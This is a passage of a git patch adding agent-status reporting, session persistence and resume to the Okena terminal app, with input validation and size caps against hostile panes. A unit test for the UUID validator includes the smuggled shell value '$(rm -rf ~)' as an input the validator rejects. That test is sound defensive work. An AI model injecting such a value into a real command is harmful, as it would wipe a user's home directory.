From 81fed11c2126b1dbfaaeedc5968d344b79036a8a Mon Sep 17 00:00:00 2001
From: David Matejka <matej21@matej21.cz>
Date: Tue, 23 Jun 2026 16:16:01 +0200
Subject: [PATCH 01/16] feat(agent-status): lifecycle indicator, session
 capture, persistence & resume
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Report what an AI coding agent (Claude Code, Codex, …) is doing in each pane
via a push-based, in-band OSC 9001 protocol, and remember/resume its session
across restarts. The model is open: a small fixed lifecycle drives colour/sort/
notifications while a free-form message + labels carry whatever the agent wants.

Display & protocol:
- OSC 9001 (st/msg/lbl) parsed in the terminal sidecar into a canonical
  AgentStatus; surfaced as a per-tab indicator, a cross-project sidebar AGENTS
  section (click to jump), a per-project field in the remote API, and a desktop
  notification on blocked/done. Runtime-only, never persisted.
- reveal_terminal navigates to a hidden pane (retargets zoom/fullscreen) behind
  agent-row / notification / remote-focus clicks.
- Bundled Claude Code plugin (integrations/claude-code) maps lifecycle hooks to
  states; OKENA_TTY exports the pane's slave pts so hooks without a controlling
  terminal can emit the OSC.

Session capture, persistence & resume (harness-extensible):
- Reserved lbl keys agent/session_id/transcript_path are captured into a sticky
  per-pane AgentSession (UUID-validated, survives st=clear), persisted per
  terminal in workspace.json, and resumed on restore behind the opt-in
  auto_resume_agent_sessions setting (e.g. `claude --resume <id>`).
- Per-harness resume/transcript logic lives behind a gpui-free
  okena_core::agent_harness registry keyed by agent id (works desktop + headless);
  Claude Code + Codex impls in the okena-ext-* crates. Adding a harness is additive.
- Auto-resume requires a session backend (the terminal_id the session is keyed by
  only survives a restart with tmux/dtach/screen).

Hardening:
- Bound OSC 9001 custom/labels to mirror the OSC 99 caps (a hostile pane could
  otherwise pin unbounded in-band memory, amplified to every remote client);
  decode off-lock; empty msg falls back to the default notification body.
- Headless PTY loop now drains the remote_dirty edge so agent status pushes to
  remote/mobile clients (was desktop-only).
- reveal_terminal no longer clears individual-zoom on a same-project click
  (regressed sidebar/cursor clicks); corrected the OKENA_TTY tmux-reattach docs.

Docs: docs/agent-status.md, crates/okena-terminal/CLAUDE.md.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01KbKbY5iGGgXSnpHz2V5aSr
---
 crates/okena-app-core/src/remote_snapshot.rs  |  25 +-
 .../src/workspace/actions/execute/project.rs  |   1 +
 .../src/views/overlays/project_switcher.rs    |   1 +
 crates/okena-cli/src/resolve.rs               |   1 +
 crates/okena-core/src/agent_harness.rs        |  88 +++++
 crates/okena-core/src/agent_session.rs        |  82 +++++
 crates/okena-core/src/agent_status.rs         | 291 ++++++++++++++++
 crates/okena-core/src/api.rs                  |  17 +
 crates/okena-core/src/lib.rs                  |   3 +
 crates/okena-daemon-core/src/command_loop.rs  |  18 +
 crates/okena-daemon-core/src/daemon.rs        |   3 +
 crates/okena-daemon-core/src/observers.rs     |   1 +
 crates/okena-daemon-core/src/pty_loop.rs      |  66 ++++
 crates/okena-daemon-core/src/soft_close.rs    |   1 +
 .../src/worktree_close_watchdog.rs            |   1 +
 crates/okena-ext-claude/src/harness.rs        |  55 +++
 crates/okena-ext-claude/src/lib.rs            |   2 +
 crates/okena-ext-codex/src/harness.rs         |  32 ++
 crates/okena-ext-codex/src/lib.rs             |   2 +
 crates/okena-state/src/workspace_data.rs      |   7 +
 crates/okena-terminal/CLAUDE.md               |  52 +++
 crates/okena-terminal/src/pty_manager.rs      |  21 ++
 crates/okena-terminal/src/terminal/meta.rs    |  33 ++
 crates/okena-terminal/src/terminal/mod.rs     |  44 +++
 .../src/terminal/osc_sidecar.rs               | 196 +++++++++++
 .../okena-terminal/src/terminal/tests/osc.rs  | 316 ++++++++++++++++++
 crates/okena-transport/src/client/state.rs    |   2 +
 crates/okena-views-sidebar/src/agents_list.rs | 204 +++++++++++
 crates/okena-views-sidebar/src/lib.rs         |   1 +
 .../src/sidebar/from_project_test.rs          |   1 +
 .../okena-views-sidebar/src/sidebar/render.rs |   1 +
 .../src/layout/tabs/mod.rs                    |  49 ++-
 .../src/layout/terminal_pane/mod.rs           |  34 ++
 crates/okena-views-terminal/src/lib.rs        |   5 +
 crates/okena-workspace/src/actions/focus.rs   |  19 +-
 crates/okena-workspace/src/actions/folder.rs  |   2 +
 .../src/actions/layout/tests_gpui.rs          |   2 +
 crates/okena-workspace/src/actions/project.rs |   3 +
 .../okena-workspace/src/actions/soft_close.rs |   1 +
 .../okena-workspace/src/actions/worktree.rs   |   2 +
 crates/okena-workspace/src/focus.rs           | 167 +++++++++
 crates/okena-workspace/src/persistence.rs     |   2 +
 crates/okena-workspace/src/remote_apply.rs    |   2 +
 crates/okena-workspace/src/settings.rs        |   9 +
 crates/okena-workspace/src/state.rs           |  49 +++
 crates/okena-workspace/src/visibility.rs      |   1 +
 docs/agent-status.md                          | 231 +++++++++++++
 .../.claude-plugin/marketplace.json           |  15 +
 .../.claude-plugin/plugin.json                |  11 +
 .../claude-code/okena-lifecycle/README.md     |  47 +++
 .../okena-lifecycle/hooks/hooks.json          |  74 ++++
 .../scripts/okena-agent-status.sh             | 118 +++++++
 src/main.rs                                   |  17 +
 src/smoke_tests.rs                            |   1 +
 54 files changed, 2412 insertions(+), 17 deletions(-)
 create mode 100644 crates/okena-core/src/agent_harness.rs
 create mode 100644 crates/okena-core/src/agent_session.rs
 create mode 100644 crates/okena-core/src/agent_status.rs
 create mode 100644 crates/okena-ext-claude/src/harness.rs
 create mode 100644 crates/okena-ext-codex/src/harness.rs
 create mode 100644 crates/okena-views-sidebar/src/agents_list.rs
 create mode 100644 docs/agent-status.md
 create mode 100644 integrations/claude-code/.claude-plugin/marketplace.json
 create mode 100644 integrations/claude-code/okena-lifecycle/.claude-plugin/plugin.json
 create mode 100644 integrations/claude-code/okena-lifecycle/README.md
 create mode 100644 integrations/claude-code/okena-lifecycle/hooks/hooks.json
 create mode 100755 integrations/claude-code/okena-lifecycle/scripts/okena-agent-status.sh

diff --git a/crates/okena-app-core/src/remote_snapshot.rs b/crates/okena-app-core/src/remote_snapshot.rs
index 9d8a53f1d..25c212c26 100644
--- a/crates/okena-app-core/src/remote_snapshot.rs
+++ b/crates/okena-app-core/src/remote_snapshot.rs
@@ -3,8 +3,8 @@
 //! Both remote command loops answer `RemoteCommand::GetState` by projecting the
 //! same [`WorkspaceData`] onto the same wire DTOs:
 //!
-//! * GUI: `okena-app`'s `app/remote_commands.rs` `remote_command_loop`
-//!   (reads an `Entity<Workspace>` / `Entity<ServiceManager>`).
+//! * GUI: the daemon client command loop (reads an `Entity<Workspace>` /
+//!   `Entity<ServiceManager>`).
 //! * Headless: `okena-daemon-core`'s `command_loop.rs` `daemon_command_loop`
 //!   (reads `Arc<Mutex<Workspace>>` / `Arc<Mutex<ServiceManager>>`).
 //!
@@ -42,12 +42,14 @@ pub fn api_project_visibility(project_id: &str, hidden_project_ids: &HashSet<Str
 ///   caller's `ServiceManager`; absent ⇒ no services).
 /// * `hidden_project_ids` — per-window hidden set driving `show_in_overview`.
 /// * `size_map` — terminal id → `(cols, rows)` for `layout.to_api_with_sizes`.
+/// * `agent_statuses` — terminal id → current runtime-only agent status.
 pub fn build_api_project(
     p: &ProjectData,
     git_statuses: &HashMap<String, ApiGitStatus>,
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
 ) -> ApiProject {
     ApiProject {
         id: p.id.clone(),
@@ -56,6 +58,21 @@ pub fn build_api_project(
         show_in_overview: api_project_visibility(&p.id, hidden_project_ids),
         layout: p.layout.as_ref().map(|l| l.to_api_with_sizes(size_map)),
         terminal_names: p.terminal_names.clone(),
+        terminal_agent_status: p
+            .layout
+            .as_ref()
+            .map(|layout| {
+                layout
+                    .collect_terminal_ids()
+                    .into_iter()
+                    .filter_map(|terminal_id| {
+                        agent_statuses
+                            .get(&terminal_id)
+                            .map(|status| (terminal_id, status.clone()))
+                    })
+                    .collect()
+            })
+            .unwrap_or_default(),
         git_status: git_statuses.get(&p.id).cloned(),
         folder_color: p.folder_color,
         services: services_by_project.get(&p.id).cloned().unwrap_or_default(),
@@ -91,6 +108,7 @@ pub fn build_api_projects(
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
 ) -> Vec<ApiProject> {
     let project_map: HashMap<&str, &ProjectData> =
         data.projects.iter().map(|p| (p.id.as_str(), p)).collect();
@@ -105,6 +123,7 @@ pub fn build_api_projects(
             services_by_project,
             hidden_project_ids,
             size_map,
+            agent_statuses,
         ));
     };
 
@@ -162,6 +181,7 @@ pub fn build_state_response(
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
     windows: Vec<ApiWindow>,
     hooks: Vec<ApiHookExecution>,
 ) -> StateResponse {
@@ -171,6 +191,7 @@ pub fn build_state_response(
         services_by_project,
         hidden_project_ids,
         size_map,
+        agent_statuses,
     );
     let folders = build_folders(&data.folders);
 
diff --git a/crates/okena-app-core/src/workspace/actions/execute/project.rs b/crates/okena-app-core/src/workspace/actions/execute/project.rs
index 1bd4f0f7d..374e730a4 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/project.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/project.rs
@@ -1048,6 +1048,7 @@ mod set_show_in_overview_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-app/src/views/overlays/project_switcher.rs b/crates/okena-app/src/views/overlays/project_switcher.rs
index 9436bd8e6..897fa2e3c 100644
--- a/crates/okena-app/src/views/overlays/project_switcher.rs
+++ b/crates/okena-app/src/views/overlays/project_switcher.rs
@@ -600,6 +600,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None::<ShellType>,
             hook_terminals: HashMap::<String, HookTerminalEntry>::new(),
             pinned: false,
diff --git a/crates/okena-cli/src/resolve.rs b/crates/okena-cli/src/resolve.rs
index 0164b31af..177c31da6 100644
--- a/crates/okena-cli/src/resolve.rs
+++ b/crates/okena-cli/src/resolve.rs
@@ -306,6 +306,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names,
+            terminal_agent_status: std::collections::HashMap::new(),
             git_status: None,
             folder_color: FolderColor::Default,
             services: vec![],
diff --git a/crates/okena-core/src/agent_harness.rs b/crates/okena-core/src/agent_harness.rs
new file mode 100644
index 000000000..b72bf7b16
--- /dev/null
+++ b/crates/okena-core/src/agent_harness.rs
@@ -0,0 +1,88 @@
+//! Per-harness agent capabilities — *resume a session* and *parse a transcript*
+//! — keyed by agent id, kept **gpui-free** so they work in the desktop app AND
+//! in headless/remote (where resume/stats may be driven from a mobile client).
+//!
+//! The agent-status protocol is harness-agnostic: a pane reports its `agent` id
+//! (`"claude-code"`, `"codex"`, …) plus a `session_id` via `OSC 9001` (see
+//! [`crate::agent_session`]). This registry is how Okena turns that id into
+//! actions, without baking any single agent's specifics into the core or app.
+//! Each harness implementation lives in its matching `okena-ext-*` crate and is
+//! registered at startup via [`init`]; an unknown id simply has no entry, so its
+//! session is stored/displayed but not resumable until a harness for it exists.
+//! New harnesses are therefore purely additive.
+
+use std::collections::HashMap;
+use std::path::Path;
+use std::sync::{Arc, OnceLock};
+
+/// Best-effort stats parsed from a session transcript, for the session-info
+/// view. Each harness fills what its format exposes; absent fields stay `None`.
+#[derive(Clone, Debug, Default, PartialEq, Eq)]
+pub struct TranscriptStats {
+    pub user_messages: usize,
+    pub assistant_messages: usize,
+    pub tool_calls: usize,
+    pub input_tokens: Option<u64>,
+    pub output_tokens: Option<u64>,
+}
+
+/// What one agent harness (Claude Code, Codex, …) knows how to do with its own
+/// sessions. Implemented in the matching `okena-ext-*` crate. Must stay
+/// gpui-free so headless/remote can use it too.
+pub trait AgentHarness: Send + Sync {
+    /// Harness id; must equal the `agent` id agents report on the wire
+    /// (e.g. `"claude-code"`, `"codex"`).
+    fn id(&self) -> &str;
+
+    /// Build the argv that resumes `session_id` from working dir `cwd`, or
+    /// `None` if this harness can't / shouldn't resume. `session_id` is already
+    /// [`is_uuid_like`](crate::agent_session::is_uuid_like)-validated by the
+    /// caller. The argv is launched as a command in the pane and is **never**
+    /// passed through a shell, so no quoting/escaping is needed here.
+    fn resume_command(&self, session_id: &str, cwd: &Path) -> Option<Vec<String>>;
+
+    /// Parse a transcript file into [`TranscriptStats`], or `None` when the path
+    /// is unreadable / unsupported. Best-effort — partial stats are fine.
+    fn transcript_stats(&self, transcript_path: &Path) -> Option<TranscriptStats> {
+        let _ = transcript_path;
+        None
+    }
+}
+
+/// Registry of harnesses keyed by [`AgentHarness::id`]. Built once at startup
+/// (desktop + headless) and installed via [`init`].
+#[derive(Default)]
+pub struct AgentHarnessRegistry {
+    by_id: HashMap<String, Arc<dyn AgentHarness>>,
+}
+
+impl AgentHarnessRegistry {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    /// Register a harness (last registration for a given id wins).
+    pub fn register(&mut self, harness: Arc<dyn AgentHarness>) {
+        self.by_id.insert(harness.id().to_string(), harness);
+    }
+
+    pub fn get(&self, agent_id: &str) -> Option<&Arc<dyn AgentHarness>> {
+        self.by_id.get(agent_id)
+    }
+}
+
+static REGISTRY: OnceLock<AgentHarnessRegistry> = OnceLock::new();
+
+/// Install the process-wide harness registry. Call once at startup; later calls
+/// are ignored (first wins), so desktop and headless each build their own
+/// before serving requests.
+pub fn init(registry: AgentHarnessRegistry) {
+    let _ = REGISTRY.set(registry);
+}
+
+/// Look up the harness for an agent id, if one is registered. Returns `None`
+/// before [`init`] or for an unknown id (caller treats that as "no resume/stats
+/// for this agent").
+pub fn for_agent(agent_id: &str) -> Option<&'static Arc<dyn AgentHarness>> {
+    REGISTRY.get()?.get(agent_id)
+}
diff --git a/crates/okena-core/src/agent_session.rs b/crates/okena-core/src/agent_session.rs
new file mode 100644
index 000000000..cb39c04a9
--- /dev/null
+++ b/crates/okena-core/src/agent_session.rs
@@ -0,0 +1,82 @@
+//! Durable agent session identity captured from the agent-status OSC's `lbl=`.
+//!
+//! Unlike [`crate::agent_status::AgentStatus`] (ephemeral, runtime-only — it
+//! drives the indicator and is dropped on `st=clear` / restart), this is the
+//! **sticky** identity of the AI session running in a pane: its `session_id`
+//! (and transcript path). It is captured from a `session_id` label, survives
+//! `st=clear`, and is meant to be *persisted* so a pane can offer to resume its
+//! session (`claude --resume <id>`) after a restart and surface transcript
+//! stats. Kept deliberately separate from the ephemeral status so that status
+//! can stay runtime-only.
+//!
+//! The values arrive in-band from an **untrusted** byte stream (any process in
+//! the pane can emit the OSC), so [`is_uuid_like`] gates the `session_id` before
+//! it is ever stored or handed to a resume command.
+
+use serde::{Deserialize, Serialize};
+
+/// The agent session running (or last run) in a pane, captured from the
+/// agent-status OSC `lbl=` `agent` / `session_id` / `transcript_path` keys.
+///
+/// Deliberately harness-agnostic: the [`agent`](Self::agent) id selects which
+/// harness knows how to *resume* it and *parse* its transcript (Claude Code,
+/// Codex, …) via the harness registry. An unknown agent id is still stored and
+/// displayed — it just has no resume/stats until a harness for it is
+/// registered, so new harnesses are additive.
+#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub struct AgentSession {
+    /// Harness id that produced this session — matches the extension id
+    /// (`"claude-code"`, `"codex"`, …). Selects the per-harness resume command
+    /// and transcript parser. Free-form on the wire so a new harness needs no
+    /// core change.
+    pub agent: String,
+    /// The agent's own session id (e.g. Claude Code / Codex `session_id`).
+    /// Always [`is_uuid_like`]-validated before construction here, since it is
+    /// untrusted in-band data that may later be passed to a resume command.
+    pub session_id: String,
+    /// Absolute path to the session transcript, when the agent reported one.
+    /// Format/location is the harness's concern; here it is just an opaque path
+    /// handed to that harness's transcript parser. Drives the stats view.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub transcript_path: Option<String>,
+}
+
+/// Conservative check that `s` is a canonical UUID (`8-4-4-4-12` lowercase- or
+/// uppercase-hex groups joined by hyphens). Guards the in-band, untrusted
+/// `session_id` before it is stored or used to build a resume command, so a
+/// hostile pane can't plant an arbitrary string there.
+pub fn is_uuid_like(s: &str) -> bool {
+    const GROUPS: [usize; 5] = [8, 4, 4, 4, 12];
+    let mut parts = s.split('-');
+    for len in GROUPS {
+        match parts.next() {
+            Some(p) if p.len() == len && p.bytes().all(|b| b.is_ascii_hexdigit()) => {}
+            _ => return false,
+        }
+    }
+    // Reject trailing junk after the final group ("…-12345-extra").
+    parts.next().is_none()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn accepts_canonical_uuid() {
+        assert!(is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b"));
+        assert!(is_uuid_like("3B9C1F2A-4D5E-6F70-8A9B-0C1D2E3F4A5B"));
+    }
+
+    #[test]
+    fn rejects_non_uuid() {
+        assert!(!is_uuid_like(""));
+        assert!(!is_uuid_like("not-a-uuid"));
+        assert!(!is_uuid_like("3b9c1f2a4d5e6f708a9b0c1d2e3f4a5b")); // no hyphens
+        assert!(!is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b-extra")); // trailing
+        assert!(!is_uuid_like("zzzzzzzz-4d5e-6f70-8a9b-0c1d2e3f4a5b")); // non-hex
+        assert!(!is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5")); // short group
+        // Defends against an injection attempt smuggled as a session id.
+        assert!(!is_uuid_like("$(rm -rf ~)"));
+    }
+}
diff --git a/crates/okena-core/src/agent_status.rs b/crates/okena-core/src/agent_status.rs
new file mode 100644
index 000000000..b2b043496
--- /dev/null
+++ b/crates/okena-core/src/agent_status.rs
@@ -0,0 +1,291 @@
+//! Agent status — what an AI coding agent reports about itself in a pane.
+//!
+//! An agent (e.g. Claude Code) pushes its state in-band via the agent-status
+//! OSC sequence (parsed in `okena-terminal`); it then surfaces in the tab, the
+//! sidebar "Agents" section, and the remote API. The model is intentionally
+//! **open**: a small fixed [`AgentLifecycle`] drives color / sort / notification,
+//! while the free-form [`AgentStatus::custom`] string and [`AgentStatus::labels`]
+//! carry whatever the agent wants and are rendered verbatim. This is the
+//! deliberate inversion of a closed status enum — canonical states stay fixed,
+//! agents stay free to attach arbitrary text.
+//!
+//! Runtime-only: agent status is ephemeral and never persisted.
+
+use serde::{Deserialize, Serialize};
+use std::collections::BTreeMap;
+
+/// Caps on the agent-supplied free-form fields, mirroring the OSC 99 caps in
+/// `okena-terminal`. The terminal byte stream is untrusted — any process in a
+/// pane can push an `OSC 9001` with an arbitrarily large `msg`/`lbl`. Unlike a
+/// one-shot notification body, an agent status is held on the `Terminal` *and*
+/// re-serialized into every remote `/v1/state` response, so an unbounded value
+/// would be pinned in memory and amplified to every connected client. Clamp at
+/// the point the status is built ([`AgentStatus::new_clamped`]).
+pub const MAX_CUSTOM_LEN: usize = 4096;
+/// Max number of `labels` entries kept (lowest keys first; extras dropped).
+pub const MAX_LABELS: usize = 32;
+/// Max byte length of a single label key (over-long keys are truncated).
+pub const MAX_LABEL_KEY_LEN: usize = 128;
+/// Max byte length of a single label value (over-long values are truncated).
+pub const MAX_LABEL_VALUE_LEN: usize = 1024;
+
+/// Lifecycle state an agent reports about itself.
+///
+/// The token names match the `st=` values of the agent-status OSC (`clear` is
+/// not a lifecycle — it removes the status, handled by the parser).
+#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)]
+#[serde(rename_all = "snake_case")]
+pub enum AgentLifecycle {
+    /// The agent is actively working.
+    Working,
+    /// The agent is blocked waiting on the user (permission, input, …).
+    Blocked,
+    /// The agent finished its turn.
+    Done,
+    /// The agent is idle / at rest.
+    Idle,
+}
+
+impl AgentLifecycle {
+    /// Parse the `st=` token from the agent-status OSC. Returns `None` for
+    /// unknown tokens (callers treat that as "ignore"). `clear` is handled by
+    /// the caller as "remove status", not a lifecycle, so it is not parsed here.
+    pub fn from_token(token: &str) -> Option<Self> {
+        match token {
+            "working" => Some(Self::Working),
+            "blocked" => Some(Self::Blocked),
+            "done" => Some(Self::Done),
+            "idle" => Some(Self::Idle),
+            _ => None,
+        }
+    }
+
+    /// Sort / attention priority, highest first: a blocked agent needs you now,
+    /// a done agent wants acknowledging, working is in flight, idle is at rest.
+    pub fn priority(self) -> u8 {
+        match self {
+            Self::Blocked => 3,
+            Self::Done => 2,
+            Self::Working => 1,
+            Self::Idle => 0,
+        }
+    }
+
+    /// Whether a transition *into* this state should raise a desktop
+    /// notification. `blocked` and `done` are the actionable edges; `working`
+    /// and `idle` are silent. (Visibility gating — e.g. not pinging for the
+    /// pane you're watching — is the GPUI layer's job, not this enum's.)
+    pub fn notifies(self) -> bool {
+        matches!(self, Self::Blocked | Self::Done)
+    }
+
+    /// Short human-readable label for this lifecycle (e.g. a tab tooltip).
+    /// Distinct from the `st=` wire token ([`from_token`]) even though they
+    /// currently coincide — one is for display, the other for the protocol.
+    pub fn label(self) -> &'static str {
+        match self {
+            Self::Working => "working",
+            Self::Blocked => "blocked",
+            Self::Done => "done",
+            Self::Idle => "idle",
+        }
+    }
+
+    /// The theme palette slot this lifecycle maps to: blocked needs attention
+    /// (error), working is in flight (warning yellow), done is finished
+    /// (success), idle is at rest (muted). The single source of truth for agent
+    /// coloring, shared by the tab indicator and the sidebar Agents list.
+    /// Returns the raw `u32` color so `okena-core` needn't depend on gpui;
+    /// callers wrap it with `rgb(..)`.
+    pub fn theme_color(self, theme: &crate::theme::ThemeColors) -> u32 {
+        match self {
+            Self::Blocked => theme.error,
+            Self::Working => theme.term_yellow,
+            Self::Done => theme.success,
+            Self::Idle => theme.text_muted,
+        }
+    }
+}
+
+/// A status an agent reports about itself in a terminal pane.
+///
+/// Pushed in-band via the agent-status OSC and surfaced in the tab, the sidebar
+/// "Agents" section, and the remote API. Runtime-only — never persisted.
+#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub struct AgentStatus {
+    pub lifecycle: AgentLifecycle,
+    /// Free-form, human-readable status set by the agent, e.g.
+    /// `"running tests 3/5"`. Rendered verbatim.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub custom: Option<String>,
+    /// Optional structured key/value extras the agent attaches.
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    pub labels: BTreeMap<String, String>,
+}
+
+impl AgentStatus {
+    /// A status carrying only a lifecycle, no custom text or labels.
+    pub fn new(lifecycle: AgentLifecycle) -> Self {
+        Self {
+            lifecycle,
+            custom: None,
+            labels: BTreeMap::new(),
+        }
+    }
+
+    /// Build a status from raw decoded OSC fields, clamping `custom` and
+    /// `labels` to bounded sizes (see the `MAX_*` consts) so a hostile pane
+    /// can't pin unbounded memory or amplify it to every remote client. An
+    /// empty `custom` (e.g. a `msg=` that decodes to `""`) collapses to `None`,
+    /// so a notifying state still falls back to its default body instead of an
+    /// empty string. This is the only constructor the OSC parser uses.
+    pub fn new_clamped(
+        lifecycle: AgentLifecycle,
+        custom: Option<String>,
+        labels: BTreeMap<String, String>,
+    ) -> Self {
+        let custom = custom.and_then(|mut c| {
+            truncate_to_bytes(&mut c, MAX_CUSTOM_LEN);
+            (!c.is_empty()).then_some(c)
+        });
+        Self {
+            lifecycle,
+            custom,
+            labels: clamp_labels(labels),
+        }
+    }
+}
+
+/// Truncate `s` in place to at most `max` bytes, never splitting a UTF-8 char
+/// (drops the straddling char whole). Used to bound agent-supplied text.
+fn truncate_to_bytes(s: &mut String, max: usize) {
+    if s.len() <= max {
+        return;
+    }
+    let mut end = max;
+    while end > 0 && !s.is_char_boundary(end) {
+        end -= 1;
+    }
+    s.truncate(end);
+}
+
+/// Bound a labels map against hostile input: keep at most [`MAX_LABELS`]
+/// entries (lowest keys first) and truncate over-long keys/values. Truncated
+/// keys may collide; the map dedups them, which is fine — this is a memory
+/// bound, not a fidelity guarantee.
+fn clamp_labels(labels: BTreeMap<String, String>) -> BTreeMap<String, String> {
+    labels
+        .into_iter()
+        .take(MAX_LABELS)
+        .map(|(mut k, mut v)| {
+            truncate_to_bytes(&mut k, MAX_LABEL_KEY_LEN);
+            truncate_to_bytes(&mut v, MAX_LABEL_VALUE_LEN);
+            (k, v)
+        })
+        .collect()
+}
+
+/// Parse a flat `{"k":"v"}` JSON object into labels for the agent-status OSC's
+/// `lbl=` field. Anything that isn't a string→string object yields an empty
+/// map, so a malformed field is simply ignored. Lives here (next to the type)
+/// rather than in `okena-terminal` so the parser crate needn't depend on
+/// `serde_json`.
+pub fn parse_labels_json(json: &str) -> BTreeMap<String, String> {
+    serde_json::from_str(json).unwrap_or_default()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn lifecycle_token_roundtrips() {
+        for (tok, life) in [
+            ("working", AgentLifecycle::Working),
+            ("blocked", AgentLifecycle::Blocked),
+            ("done", AgentLifecycle::Done),
+            ("idle", AgentLifecycle::Idle),
+        ] {
+            assert_eq!(AgentLifecycle::from_token(tok), Some(life));
+        }
+        assert_eq!(AgentLifecycle::from_token("clear"), None);
+        assert_eq!(AgentLifecycle::from_token("bogus"), None);
+    }
+
+    #[test]
+    fn priority_orders_blocked_first() {
+        assert!(AgentLifecycle::Blocked.priority() > AgentLifecycle::Done.priority());
+        assert!(AgentLifecycle::Done.priority() > AgentLifecycle::Working.priority());
+        assert!(AgentLifecycle::Working.priority() > AgentLifecycle::Idle.priority());
+    }
+
+    #[test]
+    fn only_blocked_and_done_notify() {
+        assert!(AgentLifecycle::Blocked.notifies());
+        assert!(AgentLifecycle::Done.notifies());
+        assert!(!AgentLifecycle::Working.notifies());
+        assert!(!AgentLifecycle::Idle.notifies());
+    }
+
+    #[test]
+    fn parse_labels_json_handles_valid_and_malformed() {
+        let m = parse_labels_json(r#"{"stage":"verify","eta":"5m"}"#);
+        assert_eq!(m.get("stage").map(String::as_str), Some("verify"));
+        assert_eq!(m.len(), 2);
+        // Anything that isn't a flat string->string object yields an empty map
+        // (the documented `unwrap_or_default` branch) rather than an error.
+        assert!(parse_labels_json("[1,2]").is_empty());
+        assert!(parse_labels_json(r#""just a string""#).is_empty());
+        assert!(parse_labels_json(r#"{"k":5}"#).is_empty());
+        assert!(parse_labels_json("not json").is_empty());
+        assert!(parse_labels_json("").is_empty());
+    }
+
+    #[test]
+    fn new_clamped_bounds_hostile_input() {
+        // Oversized custom is truncated to the byte cap...
+        let huge = "x".repeat(MAX_CUSTOM_LEN * 4);
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, Some(huge), BTreeMap::new());
+        assert_eq!(s.custom.as_ref().map(|c| c.len()), Some(MAX_CUSTOM_LEN));
+
+        // ...empty custom collapses to None (so the default body still applies)...
+        let s = AgentStatus::new_clamped(
+            AgentLifecycle::Blocked,
+            Some(String::new()),
+            BTreeMap::new(),
+        );
+        assert_eq!(s.custom, None);
+
+        // ...and labels are bounded in count and per-key/value length.
+        let mut labels = BTreeMap::new();
+        for i in 0..(MAX_LABELS * 2) {
+            labels.insert(format!("k{i:04}"), "v".to_string());
+        }
+        labels.insert("k".repeat(500), "v".repeat(5000));
+        let s = AgentStatus::new_clamped(AgentLifecycle::Working, None, labels);
+        assert!(s.labels.len() <= MAX_LABELS);
+        for (k, v) in &s.labels {
+            assert!(k.len() <= MAX_LABEL_KEY_LEN);
+            assert!(v.len() <= MAX_LABEL_VALUE_LEN);
+        }
+    }
+
+    #[test]
+    fn truncate_to_bytes_respects_char_boundary() {
+        // A multi-byte char straddling the cap is dropped whole, not split.
+        let mut s = "€€€".to_string(); // 3 bytes each = 9 bytes total
+        truncate_to_bytes(&mut s, 4); // cap lands inside the 2nd char
+        assert_eq!(s, "€"); // only the first whole char survives
+        assert!(s.is_char_boundary(s.len()));
+    }
+
+    #[test]
+    fn serde_omits_empty_optional_fields() {
+        let s = AgentStatus::new(AgentLifecycle::Working);
+        let json = serde_json::to_string(&s).expect("serialize");
+        assert_eq!(json, r#"{"lifecycle":"working"}"#);
+
+        let parsed: AgentStatus = serde_json::from_str(&json).expect("deserialize");
+        assert_eq!(parsed, s);
+    }
+}
diff --git a/crates/okena-core/src/api.rs b/crates/okena-core/src/api.rs
index 7871ef496..5a7b9f3a2 100644
--- a/crates/okena-core/src/api.rs
+++ b/crates/okena-core/src/api.rs
@@ -321,6 +321,11 @@ pub struct ApiProject {
     pub show_in_overview: bool,
     pub layout: Option<ApiLayoutNode>,
     pub terminal_names: std::collections::HashMap<String, String>,
+    /// Per-terminal agent status (`OSC 9001`) for terminals in this project that
+    /// currently have one. Lets remote / mobile clients show the same agent
+    /// indicators as the desktop. Runtime-only; omitted when empty.
+    #[serde(default, skip_serializing_if = "std::collections::HashMap::is_empty")]
+    pub terminal_agent_status: std::collections::HashMap<String, crate::agent_status::AgentStatus>,
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub git_status: Option<ApiGitStatus>,
     #[serde(default)]
@@ -1197,6 +1202,18 @@ mod tests {
                     ],
                 }),
                 terminal_names: [("t1".into(), "bash".into())].into_iter().collect(),
+                terminal_agent_status: [(
+                    "t1".to_string(),
+                    crate::agent_status::AgentStatus {
+                        lifecycle: crate::agent_status::AgentLifecycle::Working,
